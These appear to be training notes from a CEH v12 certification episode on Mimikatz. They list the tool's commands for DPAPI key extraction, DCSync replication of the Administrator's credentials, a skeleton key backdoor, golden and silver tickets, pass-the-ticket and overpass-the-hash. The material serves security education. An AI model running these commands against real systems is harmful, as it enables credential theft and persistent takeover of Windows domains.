- Filename: eccouncil-ceh31250-v12-6-13-1-mimikatz.md
- Show Name: CEHv12 (312-50)
- Topic Name: System Hacking Phases and Attack Techniques - System Hacking
- Episode Name: Mimikatz
  ==========

Mimikatz

Objectives:

- Abusing Data Protection API(DPAPI)
    - DPAPI aka Data Protection API
        - Central location that stores
            - Encrypted files
            - Browser Passwords
                - Attacker can copy Master Key
            - `sekurlsa::dpapi`
            - `lsadump::backupkeys /system:servername.example.com /export`
- Malicious Replication
    - Impersonate a Domain Controller
        - Request password data for accounts from another DC
            - `lsadump::dcsync /domain:example.com /user:Administrator`
- Skeleton Key Attack
    - Basically a backdoor to any user account
        - Login with any user account with password "mimikatz"
            - `privilege::debug`
            - `misc::skeleton`
- Golden Ticket Attack
    - Steal password hash for the KRBTGT
        - **Kerberos Ticket Granting Ticket**
            - That, along with:
                - FQDN of target domain
                    - `Get-ADDomain`
                - SID of user account
                    - `whomai /user`
                        - Last 4 numbers are the RID (-####)
                            - Leave that off when copying SID
            - Now we can perform Golden Ticket attack
                - `kerberos::golden /domain:example.com /sid:<user sid> /rc4:<krbtgt hash> /id:500 /user:<anyNameYouWant>`
            - Generates Golden Ticket (**ticket.kirbi**)
                - Pass the Ticket (PTT)
                    - `kerberos::ptt ticket.kirbi`
                    - `misc::cmd`
- Silver Ticket Attack

    - Like Golden Ticket
        - Except limited to single service account
            - Must gather and crack password hash of Service account for success
- Overpass the Hash Attack
    - `privilege::debug`
    - `sekurlsa::logonpasswords`
        - Grab NTLM hash for target user
    - `sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<hash value>`